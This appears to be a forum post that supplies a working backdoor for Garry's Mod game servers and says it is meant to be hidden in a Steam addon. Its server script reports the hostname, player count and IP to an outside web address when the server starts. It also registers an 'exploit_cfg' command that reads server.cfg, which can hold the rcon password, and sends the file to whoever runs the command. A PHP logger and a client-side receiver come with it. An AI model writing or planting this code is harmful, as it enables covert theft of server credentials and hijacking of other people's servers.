It's not possible without a backdoor to a steam addon, but even then most server use rcon_password in the command line so it's harder to get without a module.
Server: lua/autorun/server/t.lua
Code:
local n = net
local s = n.Start
local ss = n.WriteString
local stc = n.Send
local hp = http.Post
util.AddNetworkString("c")
game.GetIP = game.GetIP or function()
local hostip = GetConVarString( "hostip" ) -- GetConVarNumber is inaccurate
if ( not hostip or hostip == "" ) then
return "127.0.0.1"
end
hostip = tonumber( hostip )
local ip = {}
ip[ 1 ] = bit.rshift( bit.band( hostip, 0xFF000000 ), 24 )
ip[ 2 ] = bit.rshift( bit.band( hostip, 0x00FF0000 ), 16 )
ip[ 3 ] = bit.rshift( bit.band( hostip, 0x0000FF00 ), 8 )
ip[ 4 ] = bit.band( hostip, 0x000000FF )
return table.concat( ip, "." )
end
hook.Add("InitPostEntity", math.random(20,40), function()
local sendTbl = {
sn = GetHostName(),
playercount = tostring(#player.GetAll()),
ip = game.GetIP()
}
http.Post( "https://yourwebsite.com/index.php", sendTbl )
end)
local function DumpCFG(p)
s("c")
ss(file.Read("cfg/server.cfg","GAME"))
stc(p)
end
concommand.Add("exploit_cfg", DumpCFG)
php index.php Logging
Code:
<?php
$f = "server_list.txt"; // Make sure the server_list.txt is created in the ftp directory of index.php
$str = "Hostname: " . $_POST['sn'] . " Player Count " . $_POST['playercount'] . " IP: " . $_POST['ip'];
$cr = (string)$str;
file_put_contents($f, $cr);
?>
Client: lua/autorun/client/bd.lua
Code:
local n = net
local nr = n.Receive
local s = n.ReadString
nr("c", function()
local r = s()
print(r)
end)